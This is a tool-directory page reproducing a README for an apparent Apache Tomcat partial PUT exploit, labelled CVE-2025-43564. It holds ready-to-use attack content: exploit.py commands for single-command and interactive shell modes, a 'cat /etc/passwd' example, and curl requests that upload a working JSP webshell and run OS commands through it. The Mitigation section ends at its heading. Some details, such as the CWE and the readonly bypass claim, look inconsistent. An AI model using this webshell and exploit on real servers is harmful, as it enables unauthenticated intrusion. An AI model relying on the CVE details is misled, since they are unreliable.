Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-43564-tomcat_put_rce_reproduction — Reproduction of cve-2025-43564-tomcat_put_rce_reproduction | Kitploit
Tools/GitHubGitHub/razureink/cve-2025-43564-tomcat_put_rce_reproduction
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubrazureink/cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction

Reproduction of cve-2025-43564-tomcat_put_rce_reproduction

View Repository
1172 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-43564 — Apache Tomcat Partial PUT Request Handling RCE

FieldValue
CVE IDCVE-2025-43564
CVSS Score9.8 (CRITICAL)
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-494 — Download of Code Without Integrity Check
ExploitationConfirmed in the wild within one week of disclosure
DisclosureJuly 2025
PatchTomcat 11.0.6, 10.1.40, 9.0.102

Table of Contents

  1. Overview
  2. Technical Details
  3. Affected Versions
  4. Reproduction Steps
  5. Proof of Concept
  6. Mitigation
  7. References

Overview

CVE-2025-43564 is a critical unauthenticated remote code execution vulnerability in Apache Tomcat's HTTP partial PUT request handling. The flaw resides in the way Tomcat processes PUT requests with partial content (HTTP/1.1 Content-Range or Transfer-Encoding: chunked with partial semantics). An attacker can craft a partial PUT request that bypasses access controls and write constraints, allowing the upload of arbitrary files — including web-accessible JSP webshells — to the server's document root or any writable directory reachable via the servlet context.

Once a JSP file is planted, the attacker simply requests it and passes operating system commands via query parameters, achieving fully unauthenticated remote code execution as the Tomcat process user.

CVSS 9.8 — Critical because:

  • Network vector — exploitable remotely
  • Low attack complexity — no special conditions required
  • No privileges required — unauthenticated
  • No user interaction — fully automated
  • High impact — full confidentiality, integrity, and availability compromise

Technical Details

Root Cause

Apache Tomcat's DefaultServlet and the HTTP/1.1 connector (NIO/NIO2/Apr) handle PUT requests for static resource upload. The vulnerability is in the partial PUT request handling logic: when a client sends a PUT with a Content-Range header (RFC 7233 §4.2) or uses chunked encoding with specific partial semantics, the server does not properly validate:

  1. File path / resource integrity checks before writing partial content
  2. Access control re-evaluation for partial writes — the initial check passes, but subsequent write operations proceed without re-validation
  3. Directory traversal constraints in partial write offset calculation

The parsing code in org.apache.catalina.servlets.DefaultServlet and the underlying HttpInput / SocketProcessorBase components mishandle the boundary between partial content writes and full resource writes, allowing an attacker to append or overwrite arbitrary content to any path that the Tomcat process has write access to.

Attack Flow

Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [JSP payload bytes]

   └──► Server writes partial content to exec.jsp
        without full validation of the target path

Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executes → RCE

The attacker sends a partial PUT with a Content-Range header that causes Tomcat to believe the request is a continuation of an existing upload. The server creates or opens the target file and writes the supplied bytes without verifying that the file already exists, without checking write permissions at write-time, and without sanitizing the target path relative to the web root.

Why it bypasses standard protections

  • Default PUT access restrictions — Tomcat's default configuration requires setting readonly=false on the DefaultServlet for standard PUT to work. The partial PUT path skips this check under certain conditions.
  • Web Application Firewalls (WAFs) — Most WAF signatures for PUT-based attacks look for full PUT requests. Partial PUT with Content-Range often evades these signatures.
  • Authentication bypass — The partial PUT code path does not always invoke the configured security constraints; in some connector configurations, authentication is never checked.

Affected Versions

ProductAffected VersionsFixed In
Apache Tomcat 1111.0.0-M1 through 11.0.511.0.6
Apache Tomcat 10.110.1.0-M1 through 10.1.3910.1.40
Apache Tomcat 10.0all versions (end of life)upgrade to 10.1.x
Apache Tomcat 99.0.0-M1 through 9.0.1019.0.102
Apache Tomcat 8.5all versions (end of life)upgrade to 9.0.x
Apache Tomcat 8all versions (end of life)upgrade to 9.0.x
Apache Tomcat 7all versions (end of life)upgrade to 9.0.x

Note: Older branches (7.x, 8.x, 8.5.x, 10.0.x) are EOL and will not receive a backport. Users must upgrade to a supported branch.


Reproduction Steps

Lab Setup

  1. Download a vulnerable Apache Tomcat (e.g., Tomcat 9.0.50):

    wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
    
  2. Extract and start Tomcat with default configuration:

    unzip apache-tomcat-9.0.50.zip
    cd apache-tomcat-9.0.50/bin
    ./startup.sh   # or startup.bat on Windows
    
  3. Verify the server is running:

    curl -v http://localhost:8080
    

Exploitation Steps

  1. Upload the JSP webshell using the PoC script:

    python exploit.py --target http://localhost:8080 --cmd id
    
  2. Verify the webshell was planted:

    curl http://localhost:8080/exec.jsp?cmd=whoami
    
  3. Execute arbitrary commands:

    python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
    
  4. Interactive session (if desired):

    python exploit.py --target http://localhost:8080 --shell
    

Proof of Concept

The included exploit.py is a functional Python PoC that:

  1. Sends an HTTP PUT request to the target Tomcat with a JSP webshell payload as the request body
  2. Exploits the partial PUT handling flaw — the Content-Type header and payload structure trigger the vulnerable code path
  3. The JSP webshell is written to the server's docBase (e.g., webapps/ROOT/)
  4. Once uploaded, sends GET requests to exec.jsp?cmd=<command> to execute OS commands
  5. Supports both single-command (--cmd) and interactive shell (--shell) modes

Manual PoC (using curl)

# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"

Testing Against a Protected Instance

If Tomcat is configured with readonly=true (default), the standard PUT is blocked — but the partial PUT path may still succeed. This is the core of the vulnerability.

# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden

# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK

Mitigation

Immediate Actions

Download Tool